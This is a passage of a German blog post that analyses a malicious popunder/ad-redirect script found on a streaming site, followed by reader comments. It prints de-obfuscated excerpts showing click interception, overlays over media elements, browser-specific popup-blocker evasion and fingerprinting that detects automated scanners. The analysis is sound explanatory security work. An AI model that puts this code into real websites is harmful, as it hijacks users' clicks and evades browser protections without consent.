In einigen Fällen versucht es, ein "Popunder" zu öffnen. Das bedeutet, dass es jeden Klick auf einen Link abfängt, das ursprüngliche Linkziel liest, diesen Link im aktuellen Fenster öffnet und gleichzeitig ein neues Fenster mit der Spammy Site darin öffnet. In den meisten Fällen wird der Fokus wieder auf das ursprüngliche Fenster wiederhergestellt, anstatt auf das neu erstellte Fenster. Ich denke, dies soll einige Browser-Sicherheitsmaßnahmen umgehen, die prüfen, ob etwas URLs ändert, auf die der Benutzer tatsächlich geklickt hat. Der Benutzer findet sich dann mit dem richtigen Link geöffnet, aber mit einem weiteren Tab mit der Spammy Site darin, den der Benutzer früher oder später beim Wechseln der Tabs sehen wird.
In anderen Fällen tut das Skript das Gegenteil und öffnet ein neues Fenster mit dem Link, auf den der Benutzer geklickt hat, ändert aber die URL des aktuellen Fensters in die der Spammy Site.
Um all dies zu tun, hat das Skript verschiedene Funktionen für verschiedene Browser, die jeweils vermutlich geschrieben wurden, um die Sicherheitsmaßnahmen jedes Browsers zu umgehen, einschließlich AdBlock, falls vorhanden. Hier ist ein Teil des Codes, der dies tut, um Ihnen eine Vorstellung zu geben.
if (options['openPopsWhenInIframe'] && iframeStatus === 'InIframeCanNotExit') {
if (isIphoneIpadIpod && (V || p9)) {
return openPopunder(W);
}
return interceptEventAndOpenPopup(W);
}
if (options['adblockPopup'] && currentScriptIsApuAfuPHP) {
return createLinkAndTriggerClick(options['adblockPopupLink'], options['adblockPopupTimeout']);
}
if (options['popupThroughAboutBlankForAdBlock'] && currentScriptIsApuAfuPHP) {
return openPopup();
}
if (!isIphoneIpadIpodOrAndroid && (options['openViaDesktopPopunder'] || t)) {
if (isChromeNotYandex && chromeVersion > 40) {
return injectPDFAndDoStuffDependingOnChromeVersion(W);
}
if (isSafari) {
return openPopupAndBlank(W);
}
if (isYandexBrowser) {
return startMobilePopunder(W, I);
}
}
/* THERE ARE SEVERAL MORE LINES OF THIS KIND OF CODE */
Als Beispiel für ein browserspezifisches Verhalten öffnet das Skript in Safari für Mac ein neues Fenster mit der Spammy Site, öffnet sofort ein leeres Fenster, gibt diesem Fokus und schließt es dann sofort.
function openPopupAndBlank(W) {
var O = 'about:blank';
W['preventDefault']();
// opens popup with options URL
safeOpen(
options['url'],
'ppu' + new Date()['getTime'](),
['scrollbars=1', 'location=1', 'statusbar=1', 'menubar=0', 'resizable=1', 'top=0', 'left=0', 'width=' + window['screen']['availWidth'], 'height=' + window['screen']['availHeight']]['join'](','),
document,
function () {
return window['open'](options['url']);
}
);
// opens blank window, gives it focuses and closes it (??)
var i = window['window']['open'](O);
i['focus']();
i['close']();
}
Nachdem die Klick-Abfangung eingerichtet wurde, erstellt es eine Reihe von "SmartOverlays". Dies sind Ebenen, die transparente GIFs für ein Hintergrundbild verwenden, die über jedem der <object>-, <iframe>-, <embed>-, <video>- und <audio>-Tags platziert werden, die im ursprünglichen Dokument vorhanden sind, und diese vollständig abdecken. Dies soll alle Klicks auf Mediendateien abfangen und stattdessen die Click-Interceptor-Funktion auslösen.
if (options['smartOverlay']) {
var f = [];
(function d() {
var Z = 750,
affectedTags = 'object, iframe, embed, video, audio';
mapByFunction(f, function (W) {
if (W['parentNode']) {
W['parentNode']['removeChild'](W);
}
});
f = mapByFunction(safeQuerySelectorAll(affectedTags), function (W) {
var O = 'px'
if (!checkClickedElementTag(W, true)) {
return;
}
if (flashPopupId && W['className'] === flashPopupId) {
return;
}
if (options['smartOverlayMinWidth'] <= W['offsetWidth'] && options['smartOverlayMinHeight'] <= W['offsetHeight']) {
var Q = getElementTopAndLeftPosition(W);
return createNewDivWithGifBackgroundAndCloneStylesFromInput({
left: Q['left'] + O,
top: Q.top + O,
height: W['offsetHeight'] + O,
width: W['offsetWidth'] + O,
position: 'absolute'
});
}
});
popupTimeOut2 = setTimeout(d, Z);
})();
}
Auf diese Weise ist das Skript in der Lage, sogar Klicks auf Medienobjekte abzufangen, die möglicherweise keine standardmäßigen "Click"-Verhaltensweisen in JavaScript auslösen.
Das Skript versucht noch ein paar weitere seltsame Dinge. Zum Beispiel versucht es auf mobilen Geräten, nach Links zu suchen, die auf ein leeres Fenster verweisen, und versucht, diese mit einer benutzerdefinierten Funktion abzufangen. Die Funktion manipuliert sogar vorübergehend das rel-Attribut der Links und setzt es auf den Wert 'noopener noreferer', bevor sie das neue Fenster öffnet. Es ist eine seltsame Sache, da dies angeblich eine Sicherheitsmaßnahme für einige ältere Browser ist. Die Idee könnte gewesen sein, Leistungseinbußen auf der Hauptseite zu vermeiden, wenn die Spammy Site zu viele Ressourcen verbraucht und die ursprüngliche Seite verstopft (etwas, das Jake Archibald hier erklärt). Diese Technik wird jedoch ausschließlich in dieser Funktion und nirgendwo anders verwendet, was sie für mich zu einem Rätsel macht.
Die andere seltsame Sache, die das Skript tut, ist, zu versuchen, ein neues Fenster zu erstellen und einen iFrame mit einer PDF-Zeichenkette als Quelle hinzuzufügen. Dieses neue Fenster wird sofort außerhalb des Bildschirms positioniert, und der PDF-iFrame wird entfernt, falls sich der Fokus oder die Sichtbarkeit der Seite ändert. In einigen Fällen, erst nachdem das PDF entfernt wurde, leitet das Skript zur Spammy Site weiter. Dieses Feature scheint nur Chrome anzusprechen, und ich konnte nicht feststellen, ob das PDF bösartig ist oder nicht.
6. Erzähl mir mehr über dich selbst
Zuletzt sammelt das Skript viele Informationen über den Browser, die an die URL der Spammy Site angehängt werden. Es prüft Folgendes:
- ob Flash installiert ist
- die Breite und Höhe des Bildschirms, des aktuellen Fensters und die Position des Fensters relativ zum Bildschirm
- die Anzahl der iFrames im obersten Fenster
- die aktuelle URL der Seite
- ob der Browser Plugins installiert hat
- wenn der Browser PhantomJs oder Selenium WebDriver ist (vermutlich um zu prüfen, ob die Seite gerade von einem automatisierten Browser besucht wird, und wahrscheinlich etwas weniger Beängstigendes als üblich zu tun, da automatisierte Browser wahrscheinlich von Unternehmen verwendet werden, die Antivirensoftware herstellen, oder von Strafverfolgungsbehörden)
- wenn der Browser die
sendBeaconMethode desNavigatorObjekts unterstützt - wenn der Browser Geolocation unterstützt
- wenn das Skript gerade in einem iFrame läuft
Anschließend fügt es diese Werte zur URL der Spammy Site hinzu, wobei jeder mit seiner eigenen Variablen kodiert ist. Die Spammy Site wird die Informationen offensichtlich nutzen, um ihre Inhalte an die Größe des Browserfensters anzupassen, und vermutlich auch, um den Grad der Bösartigkeit der Inhalte anzupassen, je nachdem, ob der Browser stark anfällig ist (z. B. wenn Flash installiert ist) oder ob es sich möglicherweise um einen Anti-Spam-Bot handelt (wenn er als automatisierter Browser erkannt wird).
Danach ist das Skript fertig. Es tut ziemlich viele interessante Dinge, nicht wahr?
Techniken und Cross-Browser-Kompatibilität
Werfen wir einen Blick auf einige der Techniken, die das Skript im Allgemeinen verwendet und warum es sie benötigt.
Browsererkennung
Beim Schreiben von Webcode wird die Vermeidung von Browsererkennung im Allgemeinen als bewährte Methode angesehen, da sie eine fehleranfällige Technik ist: User-Agent-Strings sind sehr kompliziert zu parsen und können sich im Laufe der Zeit ändern, wenn neue Browser veröffentlicht werden. Ich persönlich meide Browsererkennung in meinen Projekten wie die Pest.
In diesem Fall kann die korrekte Browsererkennung jedoch über Erfolg oder Misserfolg der Anzeige der Spammy Site auf dem Computer des Benutzers entscheiden. Aus diesem Grund versucht das Skript, den Browser und das Betriebssystem so sorgfältig wie möglich zu erkennen.
Browserkompatibilität
Aus denselben Gründen verwendet das Skript viele Cross-Browser-Techniken, um die Kompatibilität zu maximieren. Dies könnte das Ergebnis eines sehr alten Skripts sein, das im Laufe der Jahre viele Male aktualisiert wurde, während der gesamte Legacy-Code intakt blieb. Es könnte aber auch der Versuch sein, das Skript mit möglichst vielen Browsern kompatibel zu halten.
Schließlich ist ein Benutzer, der mit einem sehr veralteten Browser oder sogar einem neueren Browser mit veralteten Plug-ins im Internet surft, für Personen, die möglicherweise Malware auf ahnungslose Benutzer installieren wollen, viel anfälliger für Angriffe und stellt sicherlich einen großen Fang dar!
Ein Beispiel ist die Funktion, die das Skript in allen anderen Funktionen zum Öffnen neuer Fenster verwendet, die ich safeOpen umbenannt habe.
// SAFE OPEN FOR MSIE
function safeOpen(URLtoOpen, popupname, windowOptions, myDocument, windowOpenerFunction) {
var notMSIE = myUserAgent['indexOf']('MSIE') !== -1;
if (options['disableSafeOpen'] || notMSIE) {
var W9 = windowOpenerFunction();
if (W9) {
try {
W9['opener']['focus']();
} catch (W) {
}
W9['opener'] = null;
}
return W9;
} else {
var t, c, V;
if (popupname === '' || popupname == null) {
popupname = 'new_popup_window_' + new Date()['getTime']();
}
t = myDocument['createElement']('iframe');
t['style']['display'] = 'none';
myDocument['body']['appendChild'](t);
c = t['contentWindow']['document'];
var p9 = 'newWin_' + new Date()['getTime']();
V = c['createElement']('script');
V['type'] = 'text/javascript';
V['text'] = [
'window.top = null;',
'window.frameElement = null;',
'var newWin = window.open(' + atob('Ig==') + '' + URLtoOpen + '' + atob('Ig==') + ', ' + atob('Ig==') + '' + popupname + '' + atob('Ig==') + ', ' + atob('Ig==') + '' + windowOptions + '' + atob('Ig==') + ');',
'window.parent.' + p9 + ' = newWin;',
'window.parent = null;',
'newWin.opener = null;'
]['join']('');
c['body']['appendChild'](V);
myDocument['body']['removeChild'](t);
return window[p9];
}
}
Jedes Mal, wenn diese Funktion aufgerufen wird, wird eine andere Funktion übergeben, die ein neues Fenster öffnet (es ist das letzte Argument, das der obigen Funktion übergeben wird und windowOpenerFunction heißt). Diese Funktion wird bei jedem Aufruf je nach spezifischem Bedarf des aktuellen Anwendungsfalls angepasst. Wenn das Skript jedoch erkennt, dass es unter Internet Explorer ausgeführt wird und die Option disableSafeOpen nicht auf true gesetzt ist, greift es auf eine ziemlich verschlungene Methode zurück, um das Fenster mit den anderen Parametern (URLtoOpen, popupname, windowOptions, myDocument) zu öffnen, anstatt die Funktion windowOpenerFunction zum Öffnen des neuen Fensters zu verwenden. Es erstellt ein iFrame, fügt es in das aktuelle Dokument ein, fügt dann einen JavaScript-Skriptknoten zu diesem iFrame hinzu, der das neue Fenster öffnet. Schließlich entfernt es das gerade erstellte iFrame.
Abfangen aller Ausnahmen
Eine weitere Möglichkeit, wie dieses Skript immer auf der sicheren Seite ist, ist das Abfangen von Ausnahmen, aus Angst, dass sie Fehler verursachen, die die JavaScript-Ausführung blockieren könnten. Jedes Mal, wenn es eine Funktion oder Methode aufruft, die auf allen Browsern nicht zu 100 % sicher ist, tut es dies, indem es sie durch eine Funktion leitet, die Ausnahmen abfängt (und sie behandelt, wenn ein Handler übergeben wird, obwohl ich keinen Anwendungsfall entdeckt habe, bei dem der Ausnahmereader tatsächlich übergeben wird). Ich habe die ursprüngliche Funktion tryFunctionCatchException umbenannt, aber sie hätte leicht safeExecute heißen können.
function tryFunctionCatchException(mainFunction, exceptionHandler) {
try {
return mainFunction();
} catch (exception) {
if (exceptionHandler) {
return exceptionHandler(exception);
}
}
}
Wohin führt dieses Skript?
Wie Sie gesehen haben, ist das Skript konfigurierbar, um den Benutzer auf eine bestimmte URL (die Spammy Site) umzuleiten, die in der semi-verschlüsselten Option für jede einzelne Version des eingesetzten Skripts kompiliert werden muss. Das bedeutet, dass die Spammy Site für jede Instanz dieses Skripts unterschiedlich sein kann. In unserem Fall war die Zielseite eine Art Ad Server, der verschiedene Seiten auslieferte, vermutlich basierend auf einer Auktion (die URL enthielt einen Parameter namens auction_id).
Als ich zum ersten Mal dem Link folgte, wurde ich zu einer tatsächlich sehr spammy Seite weitergeleitet: Sie bewarb "Schnell-reich-werden"-Programme, die auf Online-Handel basierten, komplett mit Bildern eines Mannes, der in dem saß, was als sein neues Lamborghini impliziert wurde, das er durch dieses Schema erworben hatte. Die Zielseite verwendete sogar den Evercookie-Cookie, um Benutzer zu verfolgen.
Ich habe die URL kürzlich ein paar Mal erneut aufgerufen, und sie hat mich weitergeleitet zu
- einer Landingpage eines bekannten Online-Wettunternehmens (das offizieller Sponsor von mindestens einem Finalisten der europäischen Champions League war), komplett mit dem üblichen „kostenlosen Wettguthaben“
- mehrere Fake-News-Seiten in italienischer und französischer Sprache
- Seiten, die „einfache“ Gewichtsverlustprogramme bewerben
- Seiten, die Online-Kryptowährungshandel bewerben
Fazit
Dies ist in gewisser Weise ein seltsames Skript. Es scheint, dass es erstellt wurde, um die volle Kontrolle über den Browser des Benutzers zu übernehmen und den Benutzer auf eine bestimmte Zielseite umzuleiten. Theoretisch könnte dieses Skript willkürlich andere bösartige Skripte wie Keylogger, Cryptominer usw. injizieren, wenn es sich dazu entschließt. Diese Art von aggressivem Verhalten (Kontrolle über alle Links übernehmen, alle Klicks auf Videos und andere interaktive Elemente abfangen, PDFs injizieren usw.) scheint eher typisch für ein bösartiges Skript zu sein, das ohne Zustimmung des Website-Betreibers zu einer Website hinzugefügt wurde.
Nach mehr als einem Monat, seitdem ich es zum ersten Mal gefunden habe, ist das Skript (in einer leicht abgewandelten Version) jedoch immer noch auf der ursprünglichen Website vorhanden. Es beschränkt sich darauf, jeden zweiten Klick abzufangen und die ursprüngliche Website zumindest teilweise nutzbar zu lassen. Es ist unwahrscheinlich, dass der ursprüngliche Website-Betreiber die Anwesenheit dieses Skripts nicht bemerkt hat, da es schon so lange existiert.
Das andere Seltsame ist, dass dieses Skript auf etwas verweist, das in jeder Hinsicht ein Anzeigen-Bidding-Dienst ist, wenn auch einer, der sehr spammy Kunden bedient. Es gibt mindestens eine große Ausnahme: das erwähnte bekannte Wettunternehmen. Ist dieses Skript ein bösartiges Skript, das sich zu einer Art halb-legitimen Anzeigenschaltsystem entwickelt hat, wenn auch einem sehr aufdringlichen? Das Internet kann ein sehr komplizierter Ort sein, und sehr oft sind Dinge nicht völlig legitim oder völlig illegal – zwischen Schwarz und Weiß gibt es immer mehrere Graustufen.
Der einzige Rat, den ich Ihnen nach der Analyse dieses Skripts geben kann, ist dieser: Wenn Sie das unwiderstehliche Verlangen verspüren, ein Tischtennisspiel online anzusehen, gehen Sie zu einem legitimen Streaming-Dienst und bezahlen Sie dafür. Das erspart Ihnen viel Ärger.
WOW, ich liebe diesen Beitrag. Ich liebe, wie tief Sie in die Funktionsweise des Skripts eingedrungen sind.
Sie erwähnten am Anfang, dass es nicht einmal als .js-Datei deklariert war, wie wird es auf der Seite geladen?
Danke Jasper. Wenn Sie die Datei in einem
script-Tag einfügen, wird der Browser versuchen, sie als Javascript zu interpretieren, ähnlich wie Webseiten als HTML interpretiert werden, auch wenn sie heutzutage selten eine .html-Erweiterung haben.Danke. Jasper. Kurz gesagt, nein. Wenn es verschlüsselt wäre, könnten die Browser es nicht entschlüsseln, es sei denn, sie hätten irgendeinen Schlüssel zur Entschlüsselung. Um verschlüsselten Code in jedem Browser ausführen zu können, müsste es eine geheime Vereinbarung zwischen dem Ersteller des Codes und ALLEN Browsern geben, eine Entschlüsselungsmethode bereitzustellen. Das ist nicht praktikabel.
JavaScript-Code kann stark obfuskiert, kompiliert usw. werden, aber meiner Meinung nach nicht verschlüsselt.
WOW! Das ist wie Sherlock für Programmierer zu sehen. Einfach aufregend… ganz zu schweigen von lehrreich.
Die Welt könnte einen ganzen Blog nur dafür gebrauchen – vielleicht könnte Mozilla oder jemand anderes Sie als Web-Detektiv finanzieren?
Danke Casey, freut mich, dass es Ihnen gefallen hat. Hey @Mozilla, hören Sie zu?
Ich wünschte, ich könnte meinen Code so widerstandsfähig machen wie diesen! Ziemlich coole Sachen. Danke!
Danke Zomars. Der Code dieses Skripts ist wahrscheinlich ziemlich widerstandsfähig, aber er muss sich an jeden Browser anpassen, da er die Schwächen jedes Browsers ausnutzen muss, um seine Aufgabe zu erfüllen. An Standards zu halten, besonders wenn man alte Browser nicht unterstützen muss, wird meiner Meinung nach immer zu weniger Code und weniger Arbeit führen.
Ausgezeichnetes Kaninchenloch, sehr interessant zu lesen
Freut mich, dass es Ihnen gefallen hat, Todd.
Eine Tour de Force Analyse (leider zeigt die Schwierigkeit Ihrer Aufgabe nur, wie sehr der Obscurantist im Vorteil ist). Ihre Einsicht in die Verwendung der Klammerschreibweise zur Ermöglichung der Ersetzung von Objektmethoden und -eigenschaften war erhellend. Vielen Dank, dass Sie Ihre Arbeit mit der Community geteilt haben.
Danke Jeremy. Die Klammerschreibweise ist sehr nützlich, besonders wenn man Objekt-Eigenschaften und -Methoden dynamisch basierend auf der Anwendungskonfiguration usw. aufrufen muss. Sie ist zum Beispiel sehr nützlich bei einigen OOP-Design-Mustern. In diesem Fall vermute ich jedoch, dass dies alles von der für Obfuskation und Komprimierung zuständigen Software und nicht vom ursprünglichen Programmierer/den Programmierern durchgeführt wurde.
Interessanter Lesestoff, etwas anderes. Vielen Dank.
Gern geschehen!
Danke für diese interessante Lektüre! Die Sache mit dem PDF könnte mit einem Fehler in älteren Chrome-Browsern zusammenhängen, der ausgenutzt werden kann, um Popunder zu erstellen. Ich habe eine weitere schöne Disassemblierung eines solchen Skripts aus einem etwas anderen Blickwinkel mit einer Erklärung des Exploits auf YouTube gefunden: https://www.youtube.com/watch?v=8UqHCrGdxOM
Danke für die Erklärung der PDF-Sache, Tim!
Ich habe das Video angesehen: sehr interessant! Die Techniken, die das von mir analysierte Skript verwendet, sind sehr ähnlich. Allerdings hat das von mir analysierte keine Lizenzprüfung und ist wahrscheinlich eine Kombination aller verfügbaren Popup-Techniken „auf dem Markt“. Es ist wahrscheinlich ein Flickenteppich aus mehreren bereits vorhandenen Skripten.
Verdammt! Ich liebe es, wie Sie das durchforsten. Riesige Props!
Vielen Dank, Jeff!
Danke für den Beitrag, hat mir gefallen.
Das sind einige fortgeschrittene JS-Sachen. Darf ich einen Vorschlag für ein Thema zu JS-Codetechniken machen, das Sie basierend auf Ihren Erkenntnissen hier aufgreifen können?
Das ist eine Art von Arbeit nach dem Motto „so macht es die Branche“. Mehr Leute können daraus die guten Dinge und guten Wege zur JavaScript-Programmierung lernen. Ehrlicherweise viel besser, als ein neues Framework zu lernen.
Sie kennen sich gut mit JS aus, um so etwas Kompliziertes zu entschlüsseln. Es wäre lustig, mehr lehrreiche Dinge von Ihnen zu lesen.
Danke. Es ist tatsächlich wichtiger, dass Entwickler Programmiersprachen gut beherrschen, da Frameworks kommen und gehen, während Programmiersprachen viel länger bestehen, oft Jahrzehnte.
Ich arbeite an neuen Artikeln. In der Zwischenzeit kann ich Ihnen, wenn Sie etwas sehr Interessantes über fortgeschrittenes JavaScript lesen möchten, diesen Artikel über funktionale Programmierung empfehlen.
Wow, etwas wie das zu kodieren ist großartig, ABER es zu entschlüsseln und in sinnvolle Stücke interpretativen Codes zu zerlegen ist etwas weitaus Größeres… Ich ziehe meinen Hut, mein Herr.
Danke. Ich bin sicher, es war viel schwieriger, den Originalcode zu schreiben (oder online zu kopieren/einzufügen), als ihn für mich zu entschlüsseln, da ich ihn nicht in allen Browsern testen musste, um zu sehen, ob er funktionierte!!
Was für eine großartige Lektüre! Ich frage mich, welche Browserversion Sie verwendet haben, als das Skript Sie angegriffen hat. (Bin mir nicht sicher, ob Sie die neueste Version auf Ihrer Ubuntu VM erhalten haben.) Ich hätte vermutet, dass ein korrekt konfigurierter, aktueller Browser in der Lage sein sollte, alle diese Angriffe zu blockieren, wie das Öffnen eines Popups oder das Entkommen aus dem Iframe, das Sie beschreiben.
Ich benutzte Chromium mit Ubuntu 18.04, aber ehrlich gesagt erinnere ich mich nicht, ob der Browser angegriffen worden war oder nicht. Ich habe mir vielleicht nur die Skripte im Netzwerk-Tab angesehen.
Erwarten Sie nicht, dass ein aktueller Browser alle Angriffe blockieren kann. Sobald ein Exploit nicht mehr funktioniert, suchen Hacker nach einem neuen, bis sie ihn finden.
Interessanter Artikel. Vielen Dank für das Teilen. Können böswillige Skriptautoren den Code verschlüsseln und ihn trotzdem im Browser ausführbar machen? Ich denke, das Verschlüsseln des Codes würde den Code weiter obfuskieren.